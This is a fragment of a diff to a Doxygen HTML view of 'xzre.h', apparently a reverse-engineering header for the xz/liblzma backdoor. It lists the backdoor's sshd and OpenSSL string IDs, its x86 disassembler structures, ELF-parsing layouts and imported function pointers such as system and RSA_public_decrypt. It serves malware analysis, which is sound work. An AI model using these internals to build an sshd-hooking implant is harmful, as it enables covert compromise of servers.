| (u32)(((mod) & 0xFF) << 8) \
))
-#define X86_MODRM_BYTE(mod, reg, rm)
Definition: xzre.h:683
#define X86_MODRM_BYTE(mod, reg, rm)
Definition: xzre.h:688
creates the backdoor's MOD.RM word (MOD.RM and its individual components)
diff --git a/xzre_8h_source.html b/xzre_8h_source.html
index 5d718a8..e0ea9b4 100644
--- a/xzre_8h_source.html
+++ b/xzre_8h_source.html
@@ -326,2063 +326,2068 @@
305 X86_OPCODE_LEA = 0x8D,
306 X86_OPCODE_CALL = 0xE8,
-
- 308 X86_OPCODE_MOV = 0x89,
-
- 310 X86_OPCODE_MOV_LOAD = 0x8B,
-
-
- 313 X86_OPCODE_MOV_STORE = 0x8C
-
-
-
-
-
-
-
-
-
-
+
+ 308 X86_OPCODE_CMP = 0x3B,
+
+ 310 X86_OPCODE_MOV = 0x89,
+
+ 312 X86_OPCODE_MOV_LOAD = 0x8B,
+
+
+ 315 X86_OPCODE_MOV_STORE = 0x8C
+
+
+ 318 #define XZDASM_TEST_MASK(mask, offset, opcode) \
+ 319 (((mask >> ((u8)(XZDASM_OPC(opcode) + offset))) & 1) == 1)
+
+
+
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 350 DF2_MEM_SEG_OFFS = 0x4,
-
-
- 353 DF2_FLAGS_MEM = DF2_MEM_DISP | DF2_MEM_DISP8 | DF2_MEM_SEG_OFFS,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 401 X_ELF_DYNAMIC_LINKER = 1,
-
-
-
-
-
- 407 XREF_xcalloc_zero_size = 0,
- 408 XREF_Could_not_chdir_to_home_directory_s_s = 1,
- 409 XREF_list_hostkey_types = 2,
- 410 XREF_demote_sensitive_data = 3,
- 411 XREF_mm_terminate = 4,
- 412 XREF_mm_pty_allocate = 5,
- 413 XREF_mm_do_pam_account = 6,
- 414 XREF_mm_session_pty_cleanup2 = 7,
- 415 XREF_mm_getpwnamallow = 8,
- 416 XREF_mm_sshpam_init_ctx = 9,
- 417 XREF_mm_sshpam_query = 10,
- 418 XREF_mm_sshpam_respond = 11,
- 419 XREF_mm_sshpam_free_ctx = 12,
- 420 XREF_mm_choose_dh = 13,
- 421 XREF_sshpam_respond = 14,
- 422 XREF_sshpam_auth_passwd = 15,
- 423 XREF_sshpam_query = 16,
-
- 425 XREF_mm_request_send = 18,
- 426 XREF_mm_log_handler = 19,
- 427 XREF_Could_not_get_agent_socket = 20,
- 428 XREF_auth_root_allowed = 21,
- 429 XREF_mm_answer_authpassword = 22,
- 430 XREF_mm_answer_keyallowed = 23,
- 431 XREF_mm_answer_keyverify = 24,
- 432 XREF_48s_48s_d_pid_ld_ = 25,
- 433 XREF_Unrecognized_internal_syslog_level_code_d = 26
-
-
-
-
-
- 439 STR_48s_48s_d_pid_ld_ = 0xd8,
-
- 441 STR_usr_sbin_sshd = 0x108,
- 442 STR_Accepted_password_for = 0x870,
- 443 STR_Accepted_publickey_for = 0x1a0,
- 444 STR_BN_bin2bn = 0xc40,
- 445 STR_BN_bn2bin = 0x6d0,
-
-
- 448 STR_BN_num_bits = 0x4e0,
- 449 STR_Connection_closed_by = 0x790,
- 450 STR_Could_not_chdir_to_home_directory_s_s = 0x18,
- 451 STR_Could_not_get_agent_socket = 0xb0,
-
- 453 STR_DSA_get0_pqg = 0x9d0,
- 454 STR_DSA_get0_pub_key = 0x468,
- 455 STR_EC_KEY_get0_group = 0x7e8,
- 456 STR_EC_KEY_get0_public_key = 0x268,
- 457 STR_EC_POINT_point2oct = 0x6e0,
- 458 STR_EVP_CIPHER_CTX_free = 0xb28,
- 459 STR_EVP_CIPHER_CTX_new = 0x838,
- 460 STR_EVP_DecryptFinal_ex = 0x2a8,
- 461 STR_EVP_DecryptInit_ex = 0xc08,
- 462 STR_EVP_DecryptUpdate = 0x3f0,
- 463 STR_EVP_Digest = 0xf8,
- 464 STR_EVP_DigestVerify = 0x408,
- 465 STR_EVP_DigestVerifyInit = 0x118,
- 466 STR_EVP_MD_CTX_free = 0xd10,
- 467 STR_EVP_MD_CTX_new = 0xaf8,
- 468 STR_EVP_PKEY_free = 0x6f8,
- 469 STR_EVP_PKEY_new_raw_public_key = 0x758,
- 470 STR_EVP_PKEY_set1_RSA = 0x510,
- 471 STR_EVP_chacha20 = 0xc28,
- 472 STR_EVP_sha256 = 0xc60,
-
- 474 STR_GLIBC_2_2_5 = 0x8c0,
- 475 STR_GLRO_dl_naudit_naudit = 0x6a8,
- 476 STR_KRB5CCNAME = 0x1e0,
- 477 STR_LD_AUDIT = 0xcf0,
- 478 STR_LD_BIND_NOT = 0xbc0,
- 479 STR_LD_DEBUG = 0xa90,
- 480 STR_LD_PROFILE = 0xb98,
- 481 STR_LD_USE_LOAD_BIAS = 0x3e0,
-
- 483 STR_RSA_free = 0xac0,
- 484 STR_RSA_get0_key = 0x798,
-
- 486 STR_RSA_public_decrypt = 0x1d0,
- 487 STR_RSA_set0_key = 0x540,
- 488 STR_RSA_sign = 0x8f8,
-
-
- 491 STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
- 492 STR_WAYLAND_DISPLAY = 0x158,
- 493 STR_errno_location = 0x878,
- 494 STR_libc_stack_end = 0x2b0,
- 495 STR_libc_start_main = 0x228,
- 496 STR_dl_audit_preinit = 0xa60,
- 497 STR_dl_audit_symbind_alt = 0x9c8,
-
-
- 500 STR_rtld_global = 0x5b8,
- 501 STR_rtld_global_ro = 0xa98,
- 502 STR_auth_root_allowed = 0xb8,
- 503 STR_authenticating = 0x1d8,
- 504 STR_demote_sensitive_data = 0x28,
-
- 506 STR_ld_linux_x86_64_so = 0xa48,
-
- 508 STR_libcrypto_so = 0x7c0,
- 509 STR_liblzma_so = 0x590,
- 510 STR_libsystemd_so = 0x938,
- 511 STR_list_hostkey_types = 0x20,
- 512 STR_malloc_usable_size = 0x440,
- 513 STR_mm_answer_authpassword = 0xc0,
- 514 STR_mm_answer_keyallowed = 0xc8,
- 515 STR_mm_answer_keyverify = 0xd0,
- 516 STR_mm_answer_pam_start = 0x948,
- 517 STR_mm_choose_dh = 0x78,
- 518 STR_mm_do_pam_account = 0x40,
- 519 STR_mm_getpwnamallow = 0x50,
- 520 STR_mm_log_handler = 0xa8,
- 521 STR_mm_pty_allocate = 0x38,
- 522 STR_mm_request_send = 0xa0,
- 523 STR_mm_session_pty_cleanup2 = 0x48,
- 524 STR_mm_sshpam_free_ctx = 0x70,
- 525 STR_mm_sshpam_init_ctx = 0x58,
- 526 STR_mm_sshpam_query = 0x60,
- 527 STR_mm_sshpam_respond = 0x68,
- 528 STR_mm_terminate = 0x30,
- 529 STR_parse_PAM = 0xc58,
- 530 STR_password = 0x400,
-
-
- 533 STR_publickey = 0x7b8,
-
- 535 STR_rsa_sha2_256 = 0x710,
- 536 STR_setlogmask = 0x428,
- 537 STR_setresgid = 0x5f0,
- 538 STR_setresuid = 0xab8,
- 539 STR_shutdown = 0x760,
-
- 541 STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
- 542 STR_sshpam_auth_passwd = 0x88,
- 543 STR_sshpam_query = 0x90,
- 544 STR_sshpam_respond = 0x80,
- 545 STR_start_pam = 0x98,
-
-
-
-
- 550 STR_xcalloc_zero_size = 0x10,
- 551 STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
-
-
-
-
- 556 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
-
- 558 #define assert_offset(t, f, o)
-
-
- 561 #define CONCAT(x, y) x ## y
- 562 #define EXPAND(x, y) CONCAT(x, y)
- 563 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
-
-
-
-
-
- 569 #define PERMIT_NOT_SET -1
-
- 571 #define PERMIT_FORCED_ONLY 1
- 572 #define PERMIT_NO_PASSWD 2
-
-
-
-
-
-
-
-
-
-
-
-
- 591 struct sshkey **host_keys;
- 592 struct sshkey **host_pubkeys;
- 593 struct sshkey **host_certificates;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 623 struct sshbuf *sk_key_handle;
- 624 struct sshbuf *sk_reserved;
-
- 626 struct sshkey_cert *cert;
-
- 628 u8 *shielded_private;
-
-
- 631 size_t shield_prekey_len;
-
-
- 634 typedef struct __attribute__((packed))
got_ctx {
-
-
-
-
-
-
-
- 658 assert_offset(
got_ctx_t, return_address, 0x8);
- 659 assert_offset(
got_ctx_t, cpuid_fn, 0x10);
- 660 assert_offset(
got_ctx_t, got_offset, 0x18);
- 661 static_assert(
sizeof(
got_ctx_t) == 0x20);
-
-
-
-
-
-
-
-
-
-
-
- 683 #define X86_MODRM_BYTE(mod, reg, rm) \
-
- 685 | (u8)(((mod) & 3) << 6) \
- 686 | (u8)(((reg) & 7) << 3) \
-
-
-
- 690 #define X86_REX_BYTE(w,r,x,b) \
-
- 692 | (u8)(((w) & 1) << 3) \
- 693 | (u8)(((r) & 1) << 2) \
- 694 | (u8)(((x) & 1) << 1) \
- 695 | (u8)(((b) & 1) << 0) \
-
-
- 698 #define X86_REX_W X86_REX_BYTE(1,0,0,0)
-
- 703 #define XZDASM_MODRM_MAKE(mod, reg, rm) \
-
- 705 | (u32)(((rm) & 0xFF)<< 24) \
- 706 | (u32)(((reg) & 0xFF) << 16) \
- 707 | (u32)(((mod) & 0xFF) << 8) \
- 708 | X86_MODRM_BYTE(mod, reg, rm) \
-
-
- 711 enum dasm_modrm_mask {
- 712 XZ_MODRM_RM = 0xFF000000,
- 713 XZ_MODRM_REG = 0x00FF0000,
- 714 XZ_MODRM_MOD = 0x0000FF00,
- 715 XZ_MODRM_RAW = 0x000000FF
-
-
-
-
- 720 u64 instruction_size;
-
- 722 struct __attribute__((packed)) {
-
-
-
-
-
-
-
-
-
-
-
- 740 struct __attribute__((packed)) {
-
-
-
-
-
-
-
-
-
-
- 751 struct __attribute__((packed)) {
-
-
-
-
-
-
-
-
-
-
-
- 763 struct __attribute__((packed)) {
-
- 765 struct __attribute__((packed)) {
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 780 u64 operand_zeroextended;
-
-
-
-
-
-
- 787 assert_offset(
dasm_ctx_t, instruction_size, 8);
-
-
- 790 assert_offset(
dasm_ctx_t, lock_rep_byte, 0x14);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 810 assert_offset(
dasm_ctx_t, operand_zeroextended, 0x40);
- 811 assert_offset(
dasm_ctx_t, operand_size, 0x48);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 878 Elf64_Versym *versym;
- 879 Elf64_Rela *rela_relocs;
-
-
- 882 Elf64_Relr *relr_relocs;
-
-
-
-
-
- 896 u64 rodata_segment_start;
- 897 u64 rodata_segment_size;
- 898 u64 data_segment_start;
- 899 u64 data_segment_size;
- 900 u64 data_segment_alignment;
-
-
-
-
-
- 912 u32 gnu_hash_bloom_shift;
-
-
- 915 u32 *gnu_hash_buckets;
-
-
-
-
-
-
-
-
- 924 assert_offset(
elf_info_t, dyn_num_entries, 0x28);
-
-
-
- 928 assert_offset(
elf_info_t, plt_relocs_num, 0x48);
- 929 assert_offset(
elf_info_t, gnurelro_found, 0x4C);
- 930 assert_offset(
elf_info_t, gnurelro_vaddr, 0x50);
- 931 assert_offset(
elf_info_t, gnurelro_memsize, 0x58);
-
-
-
-
- 936 assert_offset(
elf_info_t, rela_relocs_num, 0x80);
-
- 938 assert_offset(
elf_info_t, relr_relocs_num, 0x90);
- 939 assert_offset(
elf_info_t, code_segment_start, 0x98);
- 940 assert_offset(
elf_info_t, code_segment_size, 0xA0);
- 941 assert_offset(
elf_info_t, rodata_segment_start, 0xA8);
- 942 assert_offset(
elf_info_t, rodata_segment_size, 0xB0);
- 943 assert_offset(
elf_info_t, data_segment_start, 0xB8);
- 944 assert_offset(
elf_info_t, data_segment_size, 0xC0);
- 945 assert_offset(
elf_info_t, data_segment_alignment, 0xC8);
-
- 947 assert_offset(
elf_info_t, gnu_hash_nbuckets, 0xd8);
- 948 assert_offset(
elf_info_t, gnu_hash_last_bloom, 0xdc);
- 949 assert_offset(
elf_info_t, gnu_hash_bloom_shift, 0xe0);
- 950 assert_offset(
elf_info_t, gnu_hash_bloom, 0xe8);
- 951 assert_offset(
elf_info_t, gnu_hash_buckets, 0xf0);
- 952 assert_offset(
elf_info_t, gnu_hash_chain, 0xf8);
-
-
-
- 956 u32 resolved_imports_count;
-
- 958 size_t (*malloc_usable_size)(
void *ptr);
- 959 uid_t (*getuid)(void);
- 960 void (*exit)(
int status);
- 961 int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
- 962 int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
- 963 int (*system)(
const char *command);
- 964 ssize_t (*write)(
int fd,
const void *buf,
size_t count);
-
- 966 int nfds, fd_set *readfds, fd_set *writefds,
- 967 fd_set *exceptfds,
const struct timespec *timeout,
- 968 const sigset_t *sigmask);
- 969 ssize_t (*read)(
int fd,
void *buf,
size_t count);
- 970 int *(*__errno_location)(void);
- 971 int (*setlogmask)(
int mask);
- 972 int (*shutdown)(
int sockfd,
int how);
- 973 void *__libc_stack_end;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 992 typedef int (*pfn_RSA_public_decrypt_t)(
- 993 int flen,
unsigned char *from,
unsigned char *to,
- 994 RSA *rsa,
int padding);
- 995 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey,
struct rsa_st *key);
- 996 typedef void (*pfn_RSA_get0_key_t)(
-
- 998 const BIGNUM **n,
const BIGNUM **e,
const BIGNUM **d);
-
-
-
- 1002 pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
-
- 1004 void (*RSA_get0_key_null)(
- 1005 const RSA *r,
const BIGNUM **n,
- 1006 const BIGNUM **e,
const BIGNUM **d);
-
-
-
- 1022 void (*DSA_get0_pqg)(
- 1023 const DSA *d,
const BIGNUM **p,
- 1024 const BIGNUM **q,
const BIGNUM **g);
- 1025 const BIGNUM *(*DSA_get0_pub_key)(
const DSA *d);
- 1026 size_t (*EC_POINT_point2oct)(
- 1027 const EC_GROUP *group,
const EC_POINT *p,
- 1028 point_conversion_form_t form,
unsigned char *buf,
- 1029 size_t len, BN_CTX *ctx);
- 1030 EC_POINT *(*EC_KEY_get0_public_key)(
const EC_KEY *key);
- 1031 const EC_GROUP *(*EC_KEY_get0_group)(
const EC_KEY *key);
- 1032 EVP_MD *(*EVP_sha256)(void);
- 1033 pfn_RSA_get0_key_t RSA_get0_key;
- 1034 int (*BN_num_bits)(
const BIGNUM *a);
- 1035 EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
- 1036 int type, ENGINE *e,
- 1037 const unsigned char *key,
size_t keylen);
- 1038 EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
- 1039 int (*EVP_DigestVerifyInit)(
- 1040 EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
- 1041 const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
- 1042 int (*EVP_DigestVerify)(
- 1043 EVP_MD_CTX *ctx,
const unsigned char *sig,
- 1044 size_t siglen,
const unsigned char *tbs,
size_t tbslen);
- 1045 void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
- 1046 void (*EVP_PKEY_free)(EVP_PKEY *key);
- 1047 EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
- 1048 int (*EVP_DecryptInit_ex)(
- 1049 EVP_CIPHER_CTX *ctx,
const EVP_CIPHER *type,
- 1050 ENGINE *impl,
const unsigned char *key,
const unsigned char *iv);
- 1051 int (*EVP_DecryptUpdate)(
- 1052 EVP_CIPHER_CTX *ctx,
unsigned char *out,
- 1053 int *outl,
const unsigned char *in,
int inl);
- 1054 int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx,
unsigned char *outm,
int *outl);
- 1055 void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
- 1056 const EVP_CIPHER *(*EVP_chacha20)(void);
- 1057 RSA *(*RSA_new)(void);
- 1058 BIGNUM *(*BN_dup)(
const BIGNUM *from);
- 1059 BIGNUM *(*BN_bin2bn)(
const unsigned char *s,
int len, BIGNUM *ret);
- 1060 int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
-
- 1062 const void *data,
size_t count,
unsigned char *md,
- 1063 unsigned int *size,
const EVP_MD *type, ENGINE *impl);
-
-
- 1066 const unsigned char *m,
unsigned int m_len,
- 1067 unsigned char *sigret,
unsigned int *siglen, RSA *rsa);
- 1068 int (*BN_bn2bin)(
const BIGNUM *a,
unsigned char *to);
- 1069 void (*RSA_free)(RSA *rsa);
- 1070 void (*BN_free)(BIGNUM *a);
-
- 1072 u32 resolved_imports_count;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1118 typedef int (*sshd_monitor_func_t)(
struct ssh *ssh,
int sock,
struct sshbuf *m);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 355 DF2_MEM_SEG_OFFS = 0x4,
+
+
+ 358 DF2_FLAGS_MEM = DF2_MEM_DISP | DF2_MEM_DISP8 | DF2_MEM_SEG_OFFS,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 406 X_ELF_DYNAMIC_LINKER = 1,
+
+
+
+
+
+ 412 XREF_xcalloc_zero_size = 0,
+ 413 XREF_Could_not_chdir_to_home_directory_s_s = 1,
+ 414 XREF_list_hostkey_types = 2,
+ 415 XREF_demote_sensitive_data = 3,
+ 416 XREF_mm_terminate = 4,
+ 417 XREF_mm_pty_allocate = 5,
+ 418 XREF_mm_do_pam_account = 6,
+ 419 XREF_mm_session_pty_cleanup2 = 7,
+ 420 XREF_mm_getpwnamallow = 8,
+ 421 XREF_mm_sshpam_init_ctx = 9,
+ 422 XREF_mm_sshpam_query = 10,
+ 423 XREF_mm_sshpam_respond = 11,
+ 424 XREF_mm_sshpam_free_ctx = 12,
+ 425 XREF_mm_choose_dh = 13,
+ 426 XREF_sshpam_respond = 14,
+ 427 XREF_sshpam_auth_passwd = 15,
+ 428 XREF_sshpam_query = 16,
+
+ 430 XREF_mm_request_send = 18,
+ 431 XREF_mm_log_handler = 19,
+ 432 XREF_Could_not_get_agent_socket = 20,
+ 433 XREF_auth_root_allowed = 21,
+ 434 XREF_mm_answer_authpassword = 22,
+ 435 XREF_mm_answer_keyallowed = 23,
+ 436 XREF_mm_answer_keyverify = 24,
+ 437 XREF_48s_48s_d_pid_ld_ = 25,
+ 438 XREF_Unrecognized_internal_syslog_level_code_d = 26
+
+
+
+
+
+ 444 STR_48s_48s_d_pid_ld_ = 0xd8,
+
+ 446 STR_usr_sbin_sshd = 0x108,
+ 447 STR_Accepted_password_for = 0x870,
+ 448 STR_Accepted_publickey_for = 0x1a0,
+ 449 STR_BN_bin2bn = 0xc40,
+ 450 STR_BN_bn2bin = 0x6d0,
+
+
+ 453 STR_BN_num_bits = 0x4e0,
+ 454 STR_Connection_closed_by = 0x790,
+ 455 STR_Could_not_chdir_to_home_directory_s_s = 0x18,
+ 456 STR_Could_not_get_agent_socket = 0xb0,
+
+ 458 STR_DSA_get0_pqg = 0x9d0,
+ 459 STR_DSA_get0_pub_key = 0x468,
+ 460 STR_EC_KEY_get0_group = 0x7e8,
+ 461 STR_EC_KEY_get0_public_key = 0x268,
+ 462 STR_EC_POINT_point2oct = 0x6e0,
+ 463 STR_EVP_CIPHER_CTX_free = 0xb28,
+ 464 STR_EVP_CIPHER_CTX_new = 0x838,
+ 465 STR_EVP_DecryptFinal_ex = 0x2a8,
+ 466 STR_EVP_DecryptInit_ex = 0xc08,
+ 467 STR_EVP_DecryptUpdate = 0x3f0,
+ 468 STR_EVP_Digest = 0xf8,
+ 469 STR_EVP_DigestVerify = 0x408,
+ 470 STR_EVP_DigestVerifyInit = 0x118,
+ 471 STR_EVP_MD_CTX_free = 0xd10,
+ 472 STR_EVP_MD_CTX_new = 0xaf8,
+ 473 STR_EVP_PKEY_free = 0x6f8,
+ 474 STR_EVP_PKEY_new_raw_public_key = 0x758,
+ 475 STR_EVP_PKEY_set1_RSA = 0x510,
+ 476 STR_EVP_chacha20 = 0xc28,
+ 477 STR_EVP_sha256 = 0xc60,
+
+ 479 STR_GLIBC_2_2_5 = 0x8c0,
+ 480 STR_GLRO_dl_naudit_naudit = 0x6a8,
+ 481 STR_KRB5CCNAME = 0x1e0,
+ 482 STR_LD_AUDIT = 0xcf0,
+ 483 STR_LD_BIND_NOT = 0xbc0,
+ 484 STR_LD_DEBUG = 0xa90,
+ 485 STR_LD_PROFILE = 0xb98,
+ 486 STR_LD_USE_LOAD_BIAS = 0x3e0,
+
+ 488 STR_RSA_free = 0xac0,
+ 489 STR_RSA_get0_key = 0x798,
+
+ 491 STR_RSA_public_decrypt = 0x1d0,
+ 492 STR_RSA_set0_key = 0x540,
+ 493 STR_RSA_sign = 0x8f8,
+
+
+ 496 STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
+ 497 STR_WAYLAND_DISPLAY = 0x158,
+ 498 STR_errno_location = 0x878,
+ 499 STR_libc_stack_end = 0x2b0,
+ 500 STR_libc_start_main = 0x228,
+ 501 STR_dl_audit_preinit = 0xa60,
+ 502 STR_dl_audit_symbind_alt = 0x9c8,
+
+
+ 505 STR_rtld_global = 0x5b8,
+ 506 STR_rtld_global_ro = 0xa98,
+ 507 STR_auth_root_allowed = 0xb8,
+ 508 STR_authenticating = 0x1d8,
+ 509 STR_demote_sensitive_data = 0x28,
+
+ 511 STR_ld_linux_x86_64_so = 0xa48,
+
+ 513 STR_libcrypto_so = 0x7c0,
+ 514 STR_liblzma_so = 0x590,
+ 515 STR_libsystemd_so = 0x938,
+ 516 STR_list_hostkey_types = 0x20,
+ 517 STR_malloc_usable_size = 0x440,
+ 518 STR_mm_answer_authpassword = 0xc0,
+ 519 STR_mm_answer_keyallowed = 0xc8,
+ 520 STR_mm_answer_keyverify = 0xd0,
+ 521 STR_mm_answer_pam_start = 0x948,
+ 522 STR_mm_choose_dh = 0x78,
+ 523 STR_mm_do_pam_account = 0x40,
+ 524 STR_mm_getpwnamallow = 0x50,
+ 525 STR_mm_log_handler = 0xa8,
+ 526 STR_mm_pty_allocate = 0x38,
+ 527 STR_mm_request_send = 0xa0,
+ 528 STR_mm_session_pty_cleanup2 = 0x48,
+ 529 STR_mm_sshpam_free_ctx = 0x70,
+ 530 STR_mm_sshpam_init_ctx = 0x58,
+ 531 STR_mm_sshpam_query = 0x60,
+ 532 STR_mm_sshpam_respond = 0x68,
+ 533 STR_mm_terminate = 0x30,
+ 534 STR_parse_PAM = 0xc58,
+ 535 STR_password = 0x400,
+
+
+ 538 STR_publickey = 0x7b8,
+
+ 540 STR_rsa_sha2_256 = 0x710,
+ 541 STR_setlogmask = 0x428,
+ 542 STR_setresgid = 0x5f0,
+ 543 STR_setresuid = 0xab8,
+ 544 STR_shutdown = 0x760,
+
+ 546 STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
+ 547 STR_sshpam_auth_passwd = 0x88,
+ 548 STR_sshpam_query = 0x90,
+ 549 STR_sshpam_respond = 0x80,
+ 550 STR_start_pam = 0x98,
+
+
+
+
+ 555 STR_xcalloc_zero_size = 0x10,
+ 556 STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
+
+
+
+
+ 561 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
+
+ 563 #define assert_offset(t, f, o)
+
+
+ 566 #define CONCAT(x, y) x ## y
+ 567 #define EXPAND(x, y) CONCAT(x, y)
+ 568 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
+
+
+
+
+
+ 574 #define PERMIT_NOT_SET -1
+
+ 576 #define PERMIT_FORCED_ONLY 1
+ 577 #define PERMIT_NO_PASSWD 2
+
+
+
+
+
+
+
+
+
+
+
+
+ 596 struct sshkey **host_keys;
+ 597 struct sshkey **host_pubkeys;
+ 598 struct sshkey **host_certificates;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 628 struct sshbuf *sk_key_handle;
+ 629 struct sshbuf *sk_reserved;
+
+ 631 struct sshkey_cert *cert;
+
+ 633 u8 *shielded_private;
+
+
+ 636 size_t shield_prekey_len;
+
+
+ 639 typedef struct __attribute__((packed))
got_ctx {
+
+
+
+
+
+
+
+ 663 assert_offset(
got_ctx_t, return_address, 0x8);
+ 664 assert_offset(
got_ctx_t, cpuid_fn, 0x10);
+ 665 assert_offset(
got_ctx_t, got_offset, 0x18);
+ 666 static_assert(
sizeof(
got_ctx_t) == 0x20);
+
+
+
+
+
+
+
+
+
+
+
+ 688 #define X86_MODRM_BYTE(mod, reg, rm) \
+
+ 690 | (u8)(((mod) & 3) << 6) \
+ 691 | (u8)(((reg) & 7) << 3) \
+
+
+
+ 695 #define X86_REX_BYTE(w,r,x,b) \
+
+ 697 | (u8)(((w) & 1) << 3) \
+ 698 | (u8)(((r) & 1) << 2) \
+ 699 | (u8)(((x) & 1) << 1) \
+ 700 | (u8)(((b) & 1) << 0) \
+
+
+ 703 #define X86_REX_W X86_REX_BYTE(1,0,0,0)
+
+ 708 #define XZDASM_MODRM_MAKE(mod, reg, rm) \
+
+ 710 | (u32)(((rm) & 0xFF)<< 24) \
+ 711 | (u32)(((reg) & 0xFF) << 16) \
+ 712 | (u32)(((mod) & 0xFF) << 8) \
+ 713 | X86_MODRM_BYTE(mod, reg, rm) \
+
+
+ 716 enum dasm_modrm_mask {
+ 717 XZ_MODRM_RM = 0xFF000000,
+ 718 XZ_MODRM_REG = 0x00FF0000,
+ 719 XZ_MODRM_MOD = 0x0000FF00,
+ 720 XZ_MODRM_RAW = 0x000000FF
+
+
+
+
+ 725 u64 instruction_size;
+
+ 727 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+
+
+
+
+ 745 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+
+
+
+ 756 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+
+
+
+
+ 768 struct __attribute__((packed)) {
+
+ 770 struct __attribute__((packed)) {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 785 u64 operand_zeroextended;
+
+
+
+
+
+
+ 792 assert_offset(
dasm_ctx_t, instruction_size, 8);
+
+
+ 795 assert_offset(
dasm_ctx_t, lock_rep_byte, 0x14);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 815 assert_offset(
dasm_ctx_t, operand_zeroextended, 0x40);
+ 816 assert_offset(
dasm_ctx_t, operand_size, 0x48);
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 883 Elf64_Versym *versym;
+ 884 Elf64_Rela *rela_relocs;
+
+
+ 887 Elf64_Relr *relr_relocs;
+
+
+
+
+
+ 901 u64 rodata_segment_start;
+ 902 u64 rodata_segment_size;
+ 903 u64 data_segment_start;
+ 904 u64 data_segment_size;
+ 905 u64 data_segment_alignment;
+
+
+
+
+
+ 917 u32 gnu_hash_bloom_shift;
+
+
+ 920 u32 *gnu_hash_buckets;
+
+
+
+
+
+
+
+
+ 929 assert_offset(
elf_info_t, dyn_num_entries, 0x28);
+
+
+
+ 933 assert_offset(
elf_info_t, plt_relocs_num, 0x48);
+ 934 assert_offset(
elf_info_t, gnurelro_found, 0x4C);
+ 935 assert_offset(
elf_info_t, gnurelro_vaddr, 0x50);
+ 936 assert_offset(
elf_info_t, gnurelro_memsize, 0x58);
+
+
+
+
+ 941 assert_offset(
elf_info_t, rela_relocs_num, 0x80);
+
+ 943 assert_offset(
elf_info_t, relr_relocs_num, 0x90);
+ 944 assert_offset(
elf_info_t, code_segment_start, 0x98);
+ 945 assert_offset(
elf_info_t, code_segment_size, 0xA0);
+ 946 assert_offset(
elf_info_t, rodata_segment_start, 0xA8);
+ 947 assert_offset(
elf_info_t, rodata_segment_size, 0xB0);
+ 948 assert_offset(
elf_info_t, data_segment_start, 0xB8);
+ 949 assert_offset(
elf_info_t, data_segment_size, 0xC0);
+ 950 assert_offset(
elf_info_t, data_segment_alignment, 0xC8);
+
+ 952 assert_offset(
elf_info_t, gnu_hash_nbuckets, 0xd8);
+ 953 assert_offset(
elf_info_t, gnu_hash_last_bloom, 0xdc);
+ 954 assert_offset(
elf_info_t, gnu_hash_bloom_shift, 0xe0);
+ 955 assert_offset(
elf_info_t, gnu_hash_bloom, 0xe8);
+ 956 assert_offset(
elf_info_t, gnu_hash_buckets, 0xf0);
+ 957 assert_offset(
elf_info_t, gnu_hash_chain, 0xf8);
+
+
+
+ 961 u32 resolved_imports_count;
+
+ 963 size_t (*malloc_usable_size)(
void *ptr);
+ 964 uid_t (*getuid)(void);
+ 965 void (*exit)(
int status);
+ 966 int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
+ 967 int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
+ 968 int (*system)(
const char *command);
+ 969 ssize_t (*write)(
int fd,
const void *buf,
size_t count);
+
+ 971 int nfds, fd_set *readfds, fd_set *writefds,
+ 972 fd_set *exceptfds,
const struct timespec *timeout,
+ 973 const sigset_t *sigmask);
+ 974 ssize_t (*read)(
int fd,
void *buf,
size_t count);
+ 975 int *(*__errno_location)(void);
